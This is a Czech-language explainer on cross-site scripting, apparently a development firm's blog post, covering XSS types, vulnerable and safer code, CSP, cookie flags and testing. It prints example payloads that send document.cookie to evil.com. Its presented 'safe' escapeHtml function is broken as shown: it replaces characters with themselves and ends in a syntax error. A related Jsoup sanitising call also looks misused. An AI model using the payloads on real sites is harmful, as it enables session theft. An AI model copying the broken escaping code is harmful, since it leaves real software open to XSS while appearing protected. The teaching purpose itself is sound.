XSS (Cross-Site Scripting) — typ zranitelnosti webových aplikací, při kterém útočník vkládá škodlivý JavaScript kód do obsahu zobrazovaného ostatním uživatelům. Podle údajů OWASP Top Ten (2025) zůstává XSS jednou z nejrozšířenějších zranitelností, postihující více než 60 % webových aplikací. Cross-site scripting umožňuje krádež session cookies, přesměrování uživatelů na phishingové stránky a úpravu obsahu stránek v reálném čase.
Hlavní body
XSS (Cross-Site Scripting) — je zranitelnost, která umožňuje útočníkovi vložit JavaScript kód do webové stránky, který se poté spouští v prohlížeči oběti. Prohlížeč načte stránku z důvěryhodného webu a spustí vložený skript se stejnými oprávněními jako legitimní kód webu. To dává útočníkovi přístup k cookies, session storage, DOM stromu stránky a možnost odesílat požadavky jménem oběti. Zranitelnosti XSS vznikají, když aplikace vkládá uživatelská data do HTML stránky bez řádného escapeování nebo validace.
Termín Cross-Site Scripting se poprvé objevil v roce 2000 v Microsoft Security Bulletin. Během posledních 25 let XSS neztratilo na aktuálnosti: podle údajů HackerOne (2025) tvoří XSS přibližně 22 % všech registrovaných zranitelností na platformě. Důvodem přetrvávání XSS je složitost kontroly všech vstupních bodů uživatelských dat. Jakékoli vstupní pole, URL parametr, hlavička HTTP požadavku nebo název souboru se může stát vektorem útoku, pokud jsou data odrážena v HTML kódu bez zpracování.
Útoky XSS mohou vést k krádeži session cookies, což umožňuje útočníkovi přihlásit se k účtu oběti bez hesla. Další důsledky: přesměrování na phishingové stránky, nahrazení obsahu stránky, krádež osobních údajů, instalace škodlivého softwaru (drive-by download). V roce 2023 útok XSS na platformu Salesforce Community Cloud zasáhl data tisíců firemních klientů, což ukázalo, že ani velké platformy nejsou vůči této zranitelnosti imunní.
Klasifikace XSS rozděluje útoky do tří hlavních typů podle způsobu doručení škodlivého kódu. Každý typ vyžaduje jiný přístup k ochraně: Stored XSS je blokován escapeováním výstupu z databáze, Reflected — escapeováním URL parametrů, DOM-based — bezpečnou prací s DOM-API. Pochopení rozdílu je základem účinné bezpečnostní strategie.
| Typ | Uložení skriptu | Vektor doručení | Obtížnost detekce |
|---|---|---|---|
| Stored XSS | Databáze serveru | Komentáře, profily, zprávy | Střední |
| Reflected XSS | URL parametry | Phishingové odkazy, e-mail | Vysoká |
| DOM-based XSS | Klientský JavaScript | Fragmenty URL, postMessage | Velmi vysoká |
Nejnebezpečnější typ XSS. Útočník vloží skript do dat, která server ukládá v databázi a zobrazuje při každém načtení stránky. Typický vektor — pole komentáře: útočník zveřejní komentář s <script>document.location='https://evil.com/?c='+document.cookie</script>. Každý uživatel, který načte stránku s tímto komentářem, odesílá své cookies útočníkovi. Stored XSS nevyžaduje od oběti žádnou akci kromě návštěvy stránky — což ho činí obzvláště nebezpečným pro sociální sítě, fóra a blogy.
Škodlivý skript je předáván v HTTP požadavku (obvykle v URL parametru) a okamžitě odrážen serverem v odpovědi. Útočník vytvoří odkaz tvaru https://example.com/search?q=<script>...</script> a šíří ho prostřednictvím phishingu, sociálních sítí nebo e-mailu. Oběť po kliknutí na odkaz obdrží stránku, kde je zadaný vyhledávací dotaz (skript) zobrazen bez escapeování. Reflected XSS vyžaduje sociální inženýrství — oběť musí na odkaz kliknout, což snižuje, ale neodstraňuje riziko.
Na rozdíl od Stored a Reflected, DOM-based XSS nevyžaduje odesílání dat na server. Zranitelnost vzniká, když klientský JavaScript vkládá uživatelská data z URL, document.referrer, postMessage nebo localStorage do DOM bez bezpečného zpracování. Například kód tvaru document.getElementById('output').innerHTML = location.hash.substring(1) spouští jakýkoli HTML a skripty z URL fragmentu (#<img onerror='...'>). DOM-based XSS je nejobtížněji detekovatelný, protože server nikdy nepřijímá škodlivý payload — je zcela zpracován na klientovi.
// Příklad DOM-based XSS (ZRANITELNÝ KÓD)
// Pokud userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
window.location.search
).get('message');
// document.write — nebezpečné: vkládá syrové HTML
document.write('<div>' + userInput + '</div>');
// BEZPEČNÁ ALTERNATIVA — použijte textContent
document.getElementById('output').textContent = userInput;
Útok XSS využívá základní vlastnost webu: prohlížeč spouští JavaScript přijatý z důvěryhodné domény. Pokud útočník najde způsob, jak vložit svůj kód do HTML odpovědi serveru, prohlížeč jej spustí se stejnými oprávněními jako legitimní kód. Útok prochází třemi fázemi: vložení škodlivého kódu do obsahu, doručení obsahu do prohlížeče oběti a spuštění kódu s přístupem k DOM, cookies a storage.
Útočník najde vstupní bod — pole, URL parametr nebo hlavičku, jejíž hodnotu server zahrnuje do HTML odpovědi bez escapeování. Typické vstupní body: vyhledávací pole, pole komentářů, uživatelské jméno, URL avataru, soubory cookies, HTTP hlavičky (User-Agent, Referer). Moderní frameworky (React, Angular, Vue) automaticky escapeují výstup, ale vývojáři mohou escapeování vypnout pomocí dangerouslySetInnerHTML, bypassSecurityTrustHtml nebo v-html.
Pro Reflected XSS útočník šíří škodlivý odkaz. Pro Stored XSS stačí zveřejnit obsah na cílovém webu a každý návštěvník stránky se stává obětí. DOM-based XSS se aktivuje při načtení stránky s určitým fragmentem URL. Všechny tři fáze mohou být provedeny automaticky: pokud je XSS objeven v reklamním banneru (obsah třetí strany), útok zasáhne všechny uživatele webu, dokud není banner vypnut.
// Příklad Reflected XSS ve vyhledávání (ZRANITELNÝ BACKEND)
// Místo escapeování parametru q jej server vkládá do HTML
// Express.js — zranitelný handler:
app.get('/search', (req, res) => {
const query = req.query.q; // uživatelský vstup
res.send(`<h1>Results for: ${query}</h1>`);
});
// BEZPEČNÁ VERZE — escapeování přes encodeURI nebo šablonovací engine:
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
Mobilní aplikace jsou rovněž náchylné k útokům XSS, i když v menší míře než webové stránky. Hlavním vektorem je WebView a hybridní frameworky (Cordova, Capacitor, React Native s WebView). Pokud aplikace načítá webový obsah do WebView — zejména uživatelský obsah (HTML e-maily, články, zprávy) — zranitelnost XSS může vést ke spuštění JavaScriptu uvnitř aplikace s přístupem k nativním funkcím přes JavaScript most.
Android WebView ve výchozím nastavení spouští JavaScript. Pokud aplikace načítá HTML řetězec prostřednictvím loadDataWithBaseURL() nebo zobrazuje uživatelský obsah, útok XSS může poskytnout útočníkovi přístup k JavaScript rozhraní (addJavascriptInterface). Google zakázal používání @JavascriptInterface pro API < 17, ale legacy kód ve starých aplikacích se stále vyskytuje. Ochrana: vypněte JavaScript v WebView, pokud není potřeba, a používejte bezpečné prohlížení.
React Native nepoužívá WebView pro UI — komponenty se renderují v nativních zobrazeních. Při zobrazování HTML prostřednictvím react-native-webview nebo rich-text komponent se však riziko XSS vrací. Flutter používá vlastní renderovací engine (Skia) a nepodporuje JavaScript v HTML widgetech (flutter_html nespouští script tagy), ale WebView pluginy (webview_flutter) jsou zranitelné podobně jako nativní WebView. Nejlepší praxe — nikdy nepředávejte neověřené HTML do WebView.
// Bezpečné nastavení WebView v Androidu
val webView = findViewById<WebView>(R.id.webview)
// Vypínáme JavaScript, pokud interaktivita není potřeba
webView.settings.javaScriptEnabled = false
// Sanitizujeme HTML před načtením
val sanitizedHtml = Jsoup.clean(userHtml,
Whitelist.basic()
.removeProtocols("img", "src", "javascript")
)
webView.loadDataWithBaseURL(null, sanitizedHtml,
"text/html", "UTF-8", null)
Ochrana proti XSS je založena na třech principech: nevěřte uživatelskému vstupu, escapeujte před výstupem, používejte Content Security Policy. Escapeování výstupu (output encoding) — nejdůležitější metoda: všechna data přijatá od uživatele musí být escapeována před vložením do HTML, JavaScriptu, CSS nebo URL. Moderní šablonovací enginy (Twig, Handlebars, JSX, Blade) to dělají automaticky, pokud vývojář escapeování nevypne speciálními metodami.
Escapeování závisí na kontextu vkládání dat. V HTML kontextu se escapeují <, >, &, uvozovky. V JavaScript kontextu se escapeují zpětné apostrofy,
, </script>. V CSS kontextu — řídicí znaky. V URL kontextu — URL kódování. Chyba kontextu — například vložení HTML escapeovaného řetězce do atributu onclick — nechrání proti XSS, protože onclick se spouští v JavaScript kontextu, kde je potřeba jiné escapeování.
CSP — HTTP hlavička omezující zdroje, z nichž prohlížeč může načítat skripty, styly a další prostředky. Přísné CSP (bez unsafe-inline, bez unsafe-eval) blokuje spouštění všech inline skriptů, včetně XSS vektorů. Podle údajů Google Security Blog (2025) blokují stránky s CSP 95 % útoků XSS. Příklad: Content-Security-Policy: default-src 'self'; script-src 'self' zakazuje všechny externí a inline skripty. CSP nechrání proti Stored XSS, pokud je skript načítán ze stejné domény, ale to vyžaduje další úsilí od útočníka.
Nastavení příznaku HttpOnly pro cookies brání přístupu k nim přes JavaScript (document.cookie), což blokuje krádež session cookies přes XSS. Příznak Secure zaručuje, že je cookie přenášeno pouze přes HTTPS. Kombinace HttpOnly + Secure + SameSite=Lax činí krádež session cookies přes XSS prakticky nemožnou. XSS však stále může provádět akce jménem uživatele (například odesílat požadavky), proto HttpOnly není všelék, ale součást komplexní ochrany.
| Metoda ochrany | Proti kterým typům XSS chrání | Účinnost |
|---|---|---|
| Escapeování výstupu | Stored, Reflected, DOM-based | 99% |
| CSP | Inline XSS, eval-based | 95% |
| HttpOnly cookies | Krádež sezení přes XSS | 100% (nelze číst) |
| Validace vstupu | Stored, Reflected | 50% (závisí na typu) |
| TRUSTED TYPES | DOM-based (innerHTML) | 90% |
Pravidelné testování na XSS — povinná součást CI/CD pipeline bezpečného vývoje. Automatizované skenery nacházejí až 80 % zranitelností XSS, zbytek vyžaduje ruční pentest. Nejlepším přístupem je kombinace SAST analýzy (statické), DAST skenování (dynamické) a revize kódu se zaměřením na vstupní body uživatelských dat.
Pro mobilní aplikace zahrnuje testování XSS analýzu WebView: kontrolu JavaScript rozhraní, zpracování URL schémat a předávání HTML do loadDataWithBaseURL. Doporučuje se také testovat zpracování postMessage v hybridních aplikacích a kontrolovat, jaká data jsou předávána přes JavaScript most. Použijte emulátor s proxy (Burp Suite) pro zachycení a úpravu provozu mobilní aplikace.
Často kladené otázky
Stored XSS ukládá škodlivý skript na serveru (v databázi) a aktivuje se při každém načtení stránky. Reflected XSS předává skript přes URL parametr a útok se aktivuje pouze při kliknutí na škodlivý odkaz. Stored je nebezpečnější, protože nevyžaduje akci oběti — stačí jen otevřít infikovanou stránku.
Ne, HTTPS nechrání před XSS. HTTPS šifruje provoz mezi prohlížečem a serverem, ale neovlivňuje zpracování uživatelského vstupu na straně serveru. Zranitelnost XSS existuje na úrovni aplikace, nikoli transportu. HTTPS je povinné minimum zabezpečení, ale ne ochrana proti XSS.
Ve většině případů se XSS spouští v sandboxu prohlížeče nebo WebView a nemá přístup k souborovému systému nebo hardwaru zařízení. V Android WebView s povoleným JavaScript rozhraním však může XSS skript volat nativní metody aplikace. V iOS WKWebView může také odhalit data přes JavaScriptCore, pokud je nakonfigurován odpovídající most.
Použijte Burp Suite nebo OWASP ZAP s nakonfigurovaným proxy na mobilním zařízení. Zachyťte požadavky aplikace, upravte parametry a odešlete XSS payloady. Zkontrolujte WebView na zpracování HTML přes loadDataWithBaseURL a přítomnost JavaScript mostů. Pro React Native testujte WebView komponenty samostatně.
DOM-based XSS — je útok, při kterém JavaScript na stránce sám bere data z URL nebo jiných zdrojů a vkládá je do HTML bez kontroly. Server se neúčastní — škodlivý kód je zcela zpracován v prohlížeči. Typický příklad: web bere text z location.hash a vkládá ho přes innerHTML, což umožňuje spuštění jakéhokoli HTML kódu.
Shrnutí
Vyvineme mobilní aplikaci na klíč
IT Sectr vytváří aplikace pro iOS a Android pro startupy a podniky od roku 2017. Poradíme vám a navrhneme nejlepší řešení.
Přečtěte si také